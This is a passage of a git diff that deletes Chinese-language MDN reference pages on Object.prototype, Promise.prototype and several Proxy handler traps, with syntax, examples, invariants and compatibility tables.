-    console.log('Hi, I am ' + this.name + ', the ' + this.title);
-  }
-};
-
-var Customer = function(name) {
-  Person.call(this, name);
-};
-
-Customer.prototype = Object.create(Person.prototype);
-
-var Mime = function(name) {
-  Person.call(this, name);
-  this.canTalk = false;
-};
-
-Mime.prototype = Object.create(Person.prototype);
-
-var bob = new Employee('Bob', 'Builder');
-var joe = new Customer('Joe');
-var rg = new Employee('Red Green', 'Handyman');
-var mike = new Customer('Mike');
-var mime = new Mime('Mime');
-
-bob.greet();
-// Hi, I am Bob, the Builder
-
-joe.greet();
-// Hi, I am Joe
-
-rg.greet();
-// Hi, I am Red Green, the Handyman
-
-mike.greet();
-// Hi, I am Mike
-
-mime.greet();
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES1')}}{{Spec2('ES1')}}Initial definition. Implemented in JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.2.3.1', 'Object.prototype')}}{{Spec2('ES5.1')}}
{{SpecName('ES6', '#sec-object.prototype', 'Object.prototype')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-object.prototype', 'Object.prototype')}}{{Spec2('ESDraft')}}
- -

浏览器兼容

- - - -

{{Compat("javascript.builtins.Object.prototype")}}

- -

相关链接

- - diff --git a/files/zh-cn/web/javascript/reference/global_objects/promise/prototype/index.html b/files/zh-cn/web/javascript/reference/global_objects/promise/prototype/index.html deleted file mode 100644 index c9c7dc3f6a..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/promise/prototype/index.html +++ /dev/null @@ -1,116 +0,0 @@ ---- -title: Promise.prototype -slug: Web/JavaScript/Reference/Global_Objects/Promise/prototype -translation_of: Web/JavaScript/Reference/Global_Objects/Promise -translation_of_original: Web/JavaScript/Reference/Global_Objects/Promise/prototype ---- -
{{JSRef("Global_Objects", "Promise")}}
- -

总结

- -

Promise.prototype 属性表示 {{jsxref("Promise")}} 构造器的原型.

- -
{{js_property_attributes(0,0,0)}}
- -

描述

- -

{{jsxref("Promise")}} 实例继承自 {{jsxref("Promise.prototype")}}. 你可以在构造器的原型对象添加属性或方法到所有 Promise 实例上.

- -

属性

- -
-
Promise.prototype.constructor
-
返回被创建的实例函数.  默认为 {{jsxref("Promise")}} 函数.
-
- -

方法

- -
-
{{jsxref("Promise.catch", "Promise.prototype.catch(onRejected)")}}
-
添加一个拒绝(rejection) 回调到当前 promise, 返回一个新的promise。当这个回调函数被调用,新 promise 将以它的返回值来resolve,否则如果当前promise 进入fulfilled状态,则以当前promise的完成结果作为新promise的完成结果.
-
{{jsxref("Promise.then", "Promise.prototype.then(onFulfilled, onRejected)")}}
-
添加解决(fulfillment)和拒绝(rejection)回调到当前 promise, 返回一个新的 promise, 将以回调的返回值来resolve.
-
{{jsxref("Promise.finally", "Promise.prototype.finally(onFinally)")}}
-
添加一个事件处理回调于当前promise对象,并且在原promise对象解析完毕后,返回一个新的promise对象。回调会在当前promise运行完毕后被调用,无论当前promise的状态是完成(fulfilled)还是失败(rejected)
-
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES6', '#sec-promise.prototype', 'Promise.prototype')}}{{Spec2('ES6')}}Initial definition.
- -

浏览器兼容

- -

{{CompatibilityTable}}

- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support32{{CompatGeckoDesktop(24.0)}} as Future
- {{CompatGeckoDesktop(25.0)}} as Promise behind a flag[1]
- {{CompatGeckoDesktop(29.0)}} by default
{{CompatNo}}197.1
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatGeckoMobile(24.0)}} as Future
- {{CompatGeckoMobile(25.0)}} as Promise behind a flag[1]
- {{CompatGeckoMobile(29.0)}} by default
{{CompatNo}}{{CompatNo}}iOS 832
-
- -

[1] Gecko 24 has an experimental implementation of Promise, under the initial name of Future. It got renamed to its final name in Gecko 25, but disabled by default behind the flag dom.promise.enabled. Bug 918806 enabled Promises by default in Gecko 29.

- -

另见

- -
    -
  • {{jsxref("Promise")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/apply/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/apply/index.html deleted file mode 100644 index 62b8b67f5f..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/apply/index.html +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: handler.apply() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/apply -tags: - - ECMAScript6 - - JavaScript - - Method - - Proxy -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/apply ---- -
{{JSRef}}
- -

handler.apply() 方法用于拦截函数的调用。

- -
{{EmbedInteractiveExample("pages/js/proxyhandler-apply.html", "taller")}}
- - - -

语法

- -
var p = new Proxy(target, {
-  apply: function(target, thisArg, argumentsList) {
-  }
-});
-
- -

参数

- -

以下是传递给apply方法的参数,this上下文绑定在handler对象上.

- -
-
target
-
目标对象(函数)。
-
thisArg
-
被调用时的上下文对象。
-
argumentsList
-
被调用时的参数数组。
-
- -

返回值

- -

apply方法可以返回任何值。

- -

描述

- -

handler.apply 方法用于拦截函数的调用。

- -

拦截

- -

该方法会拦截目标对象的以下操作:

- -
    -
  • proxy(...args)
  • -
  • {{jsxref("Function.prototype.apply()")}} 和 {{jsxref("Function.prototype.call()")}}
  • -
  • {{jsxref("Reflect.apply()")}}
  • -
- -

约束

- -

如果违反了以下约束,代理将抛出一个TypeError:

- -

target必须是可被调用的。也就是说,它必须是一个函数对象。

- -

示例

- -

以下代码演示如何捕获函数的调用。

- -
var p = new Proxy(function() {}, {
-  apply: function(target, thisArg, argumentsList) {
-    console.log('called: ' + argumentsList.join(', '));
-    return argumentsList[0] + argumentsList[1] + argumentsList[2];
-  }
-});
-
-console.log(p(1, 2, 3)); // "called: 1, 2, 3"
-                         // 6
-
- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-call-thisargument-argumentslist', '[[Call]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-call-thisargument-argumentslist', '[[Call]]')}}{{Spec2('ESDraft')}} 
- -

浏览器兼容性

- -
- - -

{{Compat("javascript.builtins.Proxy.handler.apply")}}

-
- -

另见

- -
    -
  • {{jsxref("Proxy")}}
  • -
  • {{jsxref("Proxy.handler", "handler")}}
  • -
  • {{jsxref("Function.prototype.apply")}}
  • -
  • {{jsxref("Function.prototype.call")}}
  • -
  • {{jsxref("Reflect.apply()")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/construct/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/construct/index.html deleted file mode 100644 index 209e9752e3..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/construct/index.html +++ /dev/null @@ -1,130 +0,0 @@ ---- -title: handler.construct() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/construct -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/construct ---- -
{{JSRef}}
- -

handler.construct() 方法用于拦截{{jsxref("Operators/new", "new")}} 操作符. 为了使new操作符在生成的Proxy对象上生效,用于初始化代理的目标对象自身必须具有[[Construct]]内部方法(即 new target 必须是有效的)。

- -

{{EmbedInteractiveExample("pages/js/proxyhandler-construct.html", "taller")}}

- -

语法

- -
var p = new Proxy(target, {
-  construct: function(target, argumentsList, newTarget) {
-  }
-});
-
- -

参数

- -

下面的参数将会传递给construct方法,this绑定在handler上。

- -
-
target
-
目标对象。
-
argumentsList
-
constructor的参数列表。
-
newTarget
-
最初被调用的构造函数,就上面的例子而言是p。
-
- -

返回值

- -

construct 方法必须返回一个对象。

- -

描述

- -

handler.construct() 方法用于拦截 {{jsxref("Operators/new", "new")}}操作符。

- -

拦截

- -

该拦截器可以拦截以下操作:

- -
    -
  • new proxy(...args)
  • -
  • {{jsxref("Reflect.construct()")}}
  • -
- -

约束

- -

如果违反以下约定,代理将会抛出错误 {{jsxref("TypeError")}}:

- -
    -
  • 必须返回一个对象.
  • -
- -

示例

- -

下面代码演示如何拦截 {{jsxref("Operators/new", "new")}} 操作。

- -
var p = new Proxy(function() {}, {
-  construct: function(target, argumentsList, newTarget) {
-    console.log('called: ' + argumentsList.join(', '));
-    return { value: argumentsList[0] * 10 };
-  }
-});
-
-console.log(new p(1).value); // "called: 1"
-                             // 10
-
- -

下面的代码违反了约定.

- -
var p = new Proxy(function() {}, {
-  construct: function(target, argumentsList, newTarget) {
-    return 1;
-  }
-});
-
-new p(); // TypeError is thrown
-
- -

下面的代码未能正确的初始化Proxy。Proxy初始化时,传给它的target 必须具有一个有效的constructor供new操作符调用。

- -
var p = new Proxy({}, {
-  construct: function(target, argumentsList, newTarget) {
-    return {};
-  }
-});
-
-new p(); // TypeError is thrown, "p" is not a constructor
-
- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-construct-argumentslist-newtarget', '[[Construct]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-construct-argumentslist-newtarget', '[[Construct]]')}}{{Spec2('ESDraft')}} 
- -

浏览器兼容性

- -
{{Compat("javascript.builtins.Proxy.handler.construct")}}
- -
 
- -

相关主题

- -
    -
  • {{jsxref("Proxy")}}
  • -
  • {{jsxref("Proxy.handler", "handler")}}
  • -
  • {{jsxref("Operators/new", "new")}} operator.
  • -
  • {{jsxref("Reflect.construct()")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/defineproperty/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/defineproperty/index.html deleted file mode 100644 index 9912e043a0..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/defineproperty/index.html +++ /dev/null @@ -1,181 +0,0 @@ ---- -title: handler.defineProperty() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/defineProperty -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/defineProperty ---- -
{{JSRef}}
- -

handler.defineProperty() 用于拦截对对象的 {{jsxref("Object.defineProperty()")}} 操作。

- -

语法

- -
var p = new Proxy(target, {
-  defineProperty: function(target, property, descriptor) {
-  }
-});
-
- -

参数

- -

下列参数将会被传递给 defineProperty 方法。 this 绑定在 handler 对象上。

- -
-
target
-
目标对象。
-
property
-
待检索其描述的属性名。
-
descriptor
-
待定义或修改的属性的描述符。
-
- -

返回值

- -

defineProperty 方法必须以一个 {{jsxref("Boolean")}} 返回,表示定义该属性的操作成功与否。

- -

描述

- -

handler.defineProperty() 用于拦截对对象的 {{jsxref("Object.defineProperty()")}} 操作。

- -

拦截

- -

该方法会拦截目标对象的以下操作 :

- -
    -
  • {{jsxref("Object.defineProperty()")}}
  • -
  • {{jsxref("Reflect.defineProperty()")}}
  • -
  • {{jsxref("proxy.property='value'")}}
  • -
- -

不变量

- -

如果违背了以下的不变量,proxy会抛出 {{jsxref("TypeError")}}:

- -
    -
  • 如果目标对象不可扩展, 将不能添加属性。
  • -
  • 不能添加或者修改一个属性为不可配置的,如果它不作为一个目标对象的不可配置的属性存在的话。
  • -
  • 如果目标对象存在一个对应的可配置属性,这个属性可能不会是不可配置的。
  • -
  • 如果一个属性在目标对象中存在对应的属性,那么 Object.defineProperty(target, prop, descriptor) 将不会抛出异常。
  • -
  • 在严格模式下, false 作为 handler.defineProperty 方法的返回值的话将会抛出 {{jsxref("TypeError")}} 异常.
  • -
- -

示例

- -

以下代码演示如何拦截对目标对象的 {{jsxref("Object.defineProperty()")}} 操作。

- -
var p = new Proxy({}, {
-  defineProperty: function(target, prop, descriptor) {
-    console.log('called: ' + prop);
-    return true;
-  }
-});
-
-var desc = { configurable: true, enumerable: true, value: 10 };
-Object.defineProperty(p, 'a', desc); // "called: a"
-
- -

当调用 {{jsxref("Object.defineProperty()")}} 或者 {{jsxref("Reflect.defineProperty()")}},传递给 definePropertydescriptor   有一个限制 - 只有以下属性才有用,非标准的属性将会被无视 :

- -
    -
  • enumerable
  • -
  • configurable
  • -
  • writable
  • -
  • value
  • -
  • get
  • -
  • set
  • -
- -
var p = new Proxy({}, {
-  defineProperty(target, prop, descriptor) {
-    console.log(descriptor);
-    return Reflect.defineProperty(target, prop, descriptor);
-  }
-});
-
-Object.defineProperty(p, 'name', {
-  value: 'proxy',
-  type: 'custom'
-});  // { value: 'proxy' }
-
- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-defineownproperty-p-desc', '[[DefineOwnProperty]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-defineownproperty-p-desc', '[[DefineOwnProperty]]')}}{{Spec2('ESDraft')}}
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

另见

- -
    -
  • {{jsxref("Proxy")}}
  • -
  • {{jsxref("Proxy.handler", "handler")}}
  • -
  • {{jsxref("Object.defineProperty()")}}
  • -
  • {{jsxref("Reflect.defineProperty()")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/deleteproperty/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/deleteproperty/index.html deleted file mode 100644 index 6cb4255755..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/deleteproperty/index.html +++ /dev/null @@ -1,149 +0,0 @@ ---- -title: handler.deleteProperty() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/deleteProperty -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/deleteProperty ---- -
{{JSRef}}
- -

handler.deleteProperty() 方法用于拦截对对象属性的 {{jsxref("Operators/delete", "delete")}} 操作。

- -

语法

- -
var p = new Proxy(target, {
-  deleteProperty: function(target, property) {
-  }
-});
-
- -

参数

- -

deleteProperty 方法将会接受以下参数。 this 被绑定在 handler上。

- -
-
target
-
目标对象。
-
property
-
待删除的属性名。
-
- -

返回值

- -

deleteProperty 必须返回一个 {{jsxref("Boolean")}} 类型的值,表示了该属性是否被成功删除。

- -

描述

- -

handler.deleteProperty() 方法可以拦截 {{jsxref("Operators/delete", "delete")}} 操作。

- -

拦截

- -

该方法会拦截以下操作:

- -
    -
  • 删除属性: delete proxy[foo]delete proxy.foo
  • -
  • {{jsxref("Reflect.deleteProperty()")}}
  • -
- -

不变量

- -

如果违背了以下不变量,proxy 将会抛出一个 {{jsxref("TypeError")}}:

- -
    -
  • 如果目标对象的属性是不可配置的,那么该属性不能被删除。
  • -
- -

示例

- -

以下代码演示了对 {{jsxref("Operators/delete", "delete")}} 操作的拦截。

- -
var p = new Proxy({}, {
-  deleteProperty: function(target, prop) {
-    console.log('called: ' + prop);
-    return true;
-  }
-});
-
-delete p.a; // "called: a"
-
- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-delete-p', '[[Delete]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-delete-p', '[[Delete]]')}}{{Spec2('ESDraft')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

另见

- -
    -
  • {{jsxref("Proxy")}}
  • -
  • {{jsxref("Proxy.handler", "handler")}}
  • -
  • {{jsxref("Operators/delete", "delete")}} 操作符
  • -
  • {{jsxref("Reflect.deleteProperty()")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/get/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/get/index.html deleted file mode 100644 index 14a350436a..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/get/index.html +++ /dev/null @@ -1,177 +0,0 @@ ---- -title: handler.get() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/get -tags: - - ECMAScript6 - - JavaScript - - Method - - Proxy -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/get ---- -
{{JSRef}}
- -

handler.get() 方法用于拦截对象的读取属性操作。

- -

语法

- -
var p = new Proxy(target, {
-  get: function(target, property, receiver) {
-  }
-});
-
- -

参数

- -

以下是传递给get方法的参数,this上下文绑定在handler对象上.

- -
-
target
-
目标对象。
-
property
-
被获取的属性名。
-
receiver
-
Proxy或者继承Proxy的对象
-
- -

返回值

- -

get方法可以返回任何值。

- -

描述

- -

handler.get 方法用于拦截对象的读取属性操作。

- -

拦截

- -

该方法会拦截目标对象的以下操作:

- -
    -
  • 访问属性: proxy[foo]和 proxy.bar
  • -
  • 访问原型链上的属性: Object.create(proxy)[foo]
  • -
  • {{jsxref("Reflect.get()")}}
  • -
- -

约束

- -

如果违背了以下的约束,proxy会抛出 {{jsxref("TypeError")}}:

- -
    -
  • 如果要访问的目标属性是不可写以及不可配置的,则返回的值必须与该目标属性的值相同。
  • -
  • 如果要访问的目标属性没有配置访问方法,即get方法是undefined的,则返回值必须为undefined。
  • -
- -

示例

- -

以下代码演示如何拦截属性值的读取操作。

- -
var p = new Proxy({}, {
-  get: function(target, prop, receiver) {
-    console.log("called: " + prop);
-    return 10;
-  }
-});
-
-console.log(p.a); // "called: a"
-                  // 10
-
- -

以下代码演示违反约束的情况。

- -
var obj = {};
-Object.defineProperty(obj, "a", {
-  configurable: false,
-  enumerable: false,
-  value: 10,
-  writable: false
-});
-
-var p = new Proxy(obj, {
-  get: function(target, prop) {
-    return 20;
-  }
-});
-
-p.a; //会抛出TypeError
-
- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-get-p-receiver', '[[Get]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-get-p-receiver', '[[Get]]')}}{{Spec2('ESDraft')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

另见

- -
    -
  • {{jsxref("Proxy")}}
  • -
  • {{jsxref("Proxy.handler", "handler")}}
  • -
  • {{jsxref("Reflect.get()")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/getownpropertydescriptor/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/getownpropertydescriptor/index.html deleted file mode 100644 index 470b2c6ad9..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/getownpropertydescriptor/index.html +++ /dev/null @@ -1,168 +0,0 @@ ---- -title: handler.getOwnPropertyDescriptor() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/getOwnPropertyDescriptor -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/getOwnPropertyDescriptor ---- -
{{JSRef}}
- -

handler.getOwnPropertyDescriptor() 方法是 {{jsxref("Object.getOwnPropertyDescriptor()")}}  的钩子。

- -

语法

- -
var p = new Proxy(target, {
-  getOwnPropertyDescriptor: function(target, prop) {
-  }
-});
-
- -

参数

- -

下列参数会被传入 getOwnPropertyDescriptor 方法中。这是绑定到handler上。 

- -
-
target
-
目标对象。
-
prop
-
返回属性名称的描述。
-
- -

返回值

- -

getOwnPropertyDescriptor 方法必须返回一个 object 或 undefined

- -

描述

- -

handler.getOwnPropertyDescriptor() 方法是 {{jsxref("Object.getOwnPropertyDescriptor()")}} 的陷阱。

- -

拦截

- -

这个陷阱可以拦截这些操作:

- -
    -
  • {{jsxref("Object.getOwnPropertyDescriptor()")}}
  • -
  • {{jsxref("Reflect.getOwnPropertyDescriptor()")}}
  • -
- -

不变量

- -

如果下列不变量被违反,代理将抛出一个 {{jsxref("TypeError")}}:

- -
    -
  • getOwnPropertyDescriptor 必须返回一个 object 或 undefined
  • -
  • 如果属性作为目标对象的不可配置的属性存在,则该属性无法报告为不存在。
  • -
  • 如果属性作为目标对象的属性存在,并且目标对象不可扩展,则该属性无法报告为不存在。
  • -
  • 如果属性不存在作为目标对象的属性,并且目标对象不可扩展,则不能将其报告为存在。
  • -
  • 属性不能被报告为不可配置,如果它不作为目标对象的自身属性存在,或者作为目标对象的可配置的属性存在。
  • -
  • Object.getOwnPropertyDescriptor(target)的结果可以使用 Object.defineProperty 应用于目标对象,也不会抛出异常。
  • -
- -

示例

- -

以下是 {{jsxref("Object.getOwnPropertyDescriptor()")}} 的代码陷阱:

- -
var p = new Proxy({ a: 20}, {
-  getOwnPropertyDescriptor: function(target, prop) {
-    console.log('called: ' + prop);
-    return { configurable: true, enumerable: true, value: 10 };
-  }
-});
-
-console.log(Object.getOwnPropertyDescriptor(p, 'a').value); // "called: a"
-                                                            // 10
-
- -

以下代码则违反了不变量。

- -
var obj = { a: 10 };
-Object.preventExtensions(obj);
-var p = new Proxy(obj, {
-  getOwnPropertyDescriptor: function(target, prop) {
-    return undefined;
-  }
-});
-
-Object.getOwnPropertyDescriptor(p, 'a'); // TypeError is thrown
-
- -

规范

- - - - - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-getownproperty-p', '[[GetOwnProperty]]')}}{{Spec2('ES2015')}}Initial definition.
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-getownproperty-p', '[[GetOwnProperty]]')}}{{Spec2('ESDraft')}}
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatUnknown}}{{CompatGeckoDesktop("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile("18")}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -

相关链接

- -
    -
  • {{jsxref("Proxy")}}
  • -
  • {{jsxref("Proxy.handler", "handler")}}
  • -
  • {{jsxref("Object.getOwnPropertyDescriptor()")}}
  • -
  • {{jsxref("Reflect.getOwnPropertyDescriptor()")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/getprototypeof/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/getprototypeof/index.html deleted file mode 100644 index 215d2d9646..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/getprototypeof/index.html +++ /dev/null @@ -1,141 +0,0 @@ ---- -title: handler.getPrototypeOf() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/getPrototypeOf -tags: - - ECMAScript 2015 - - JavaScript - - Method - - Proxy - - 方法 -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/getPrototypeOf ---- -
{{JSRef("Global_Objects", "Proxy")}}
- -

handler.getPrototypeOf() 是一个代理(Proxy)方法,当读取代理对象的原型时,该方法就会被调用。

- -
{{EmbedInteractiveExample("pages/js/proxyhandler-getprototypeof.html", "taller")}}
- - - -

语法

- -
const p = new Proxy(obj, {
-  getPrototypeOf(target) {
-  ...
-  }
-});
-
- -

参数

- -

getPrototypeOf 方法被调用时,this 指向的是它所属的处理器对象。

- -
-
target
-
被代理的目标对象。
-
- -

返回值

- -

getPrototypeOf 方法的返回值必须是一个对象或者 null

- -

描述

- -

在 JavaScript 中,下面这五种操作(方法/属性/运算符)可以触发 JS 引擎读取一个对象的原型,也就是可以触发 getPrototypeOf() 代理方法的运行:

- -
    -
  • {{jsxref("Object.getPrototypeOf()")}}
  • -
  • {{jsxref("Reflect.getPrototypeOf()")}}
  • -
  • {{jsxref("Object/proto", "__proto__")}}
  • -
  • {{jsxref("Object.prototype.isPrototypeOf()")}}
  • -
  • {{jsxref("Operators/instanceof", "instanceof")}}
  • -
- -

如果遇到了下面两种情况,JS 引擎会抛出 {{jsxref("TypeError")}} 异常:

- -
    -
  • getPrototypeOf() 方法返回的不是对象也不是 null。
  • -
  • 目标对象是不可扩展的,且 getPrototypeOf() 方法返回的原型不是目标对象本身的原型。
  • -
- -

示例

- -

基本用法

- -
var obj = {};
-var proto = {};
-var handler = {
-    getPrototypeOf(target) {
-        console.log(target === obj);   // true
-        console.log(this === handler); // true
-        return proto;
-    }
-};
-
-var p = new Proxy(obj, handler);
-console.log(Object.getPrototypeOf(p) === proto);    // true
-
- -

5 种触发 getPrototypeOf 代理方法的方式

- -
var obj = {};
-var p = new Proxy(obj, {
-    getPrototypeOf(target) {
-        return Array.prototype;
-    }
-});
-console.log(
-    Object.getPrototypeOf(p) === Array.prototype,  // true
-    Reflect.getPrototypeOf(p) === Array.prototype, // true
-    p.__proto__ === Array.prototype,               // true
-    Array.prototype.isPrototypeOf(p),              // true
-    p instanceof Array                             // true
-);
-
- -

两种情况下的异常

- -
var obj = {};
-var p = new Proxy(obj, {
-    getPrototypeOf(target) {
-        return "foo";
-    }
-});
-Object.getPrototypeOf(p); // TypeError: "foo" is not an object or null
-
-var obj = Object.preventExtensions({});
-var p = new Proxy(obj, {
-    getPrototypeOf(target) {
-        return {};
-    }
-});
-Object.getPrototypeOf(p); // TypeError: expected same prototype value
-
- -

规范

- - - - - - - - - - -
规范
{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-getprototypeof', '[[GetPrototypeOf]]')}}
- -

浏览器兼容性

- - - -

{{Compat("javascript.builtins.Proxy.handler.getPrototypeOf")}}

- -

参见

- -
    -
  • {{jsxref("Proxy")}}
  • -
  • {{jsxref("Proxy.handler", "handler")}}
  • -
  • {{jsxref("Object.getPrototypeOf()")}}
  • -
  • {{jsxref("Reflect.getPrototypeOf()")}}
  • -
diff --git a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/has/index.html b/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/has/index.html deleted file mode 100644 index fead0846ff..0000000000 --- a/files/zh-cn/web/javascript/reference/global_objects/proxy/handler/has/index.html +++ /dev/null @@ -1,176 +0,0 @@ ---- -title: handler.has() -slug: Web/JavaScript/Reference/Global_Objects/Proxy/handler/has -translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/Proxy/has ---- -
{{JSRef}}
- -

 handler.has() 方法是针对 {{jsxref("Operators/in", "in")}} 操作符的代理方法。

- - - - - -

{{EmbedInteractiveExample("pages/js/proxyhandler-has.html", "taller")}}

- - - - - -

语法

- -
var p = new Proxy(target, {
-  has: function(target, prop) {
-  }
-});
-
- -

参数

- -

下面是传递给 has 方法的参数. this is bound to the handler.

- -
-
target
-
目标对象.
-
prop
-
需要检查是否存在的属性.
-
- -

返回值

- -

has 方法返回一个 boolean 属性的值.

- -

描述

- -

handler.has 方法可以看作是针对 {{jsxref("Operators/in", "in")}} 操作的钩子.

- -

拦截

- -

这个钩子可以拦截下面这些操作:

- -
    -
  • 属性查询: foo in proxy
  • -
  • 继承属性查询: foo in Object.create(proxy)
  • -
  • with 检查: with(proxy) { (foo); }
  • -
  • {{jsxref("Reflect.has()")}}
  • -
- -

约束

- -

如果违反了下面这些规则,  proxy 将会抛出 {{jsxref("TypeError")}}:

- -
    -
  • 如果目标对象的某一属性本身不可被配置,则该属性不能够被代理隐藏.
  • -
  • 如果目标对象为不可扩展对象,则该对象的属性不能够被代理隐藏
  • -
- -

示例

- -

下面的代码拦截了 {{jsxref("Operators/in", "in")}} 操作符.

- -
var p = new Proxy({}, {
-  has: function(target, prop) {
-    console.log('called: ' + prop);
-    return true;
-  }
-});
-
-console.log('a' in p); // "called: a"
-                       // true
-
- -

下面的代码违反了约束.

- -
var obj = { a: 10 };
-Object.preventExtensions(obj);
-var p = new Proxy(obj, {
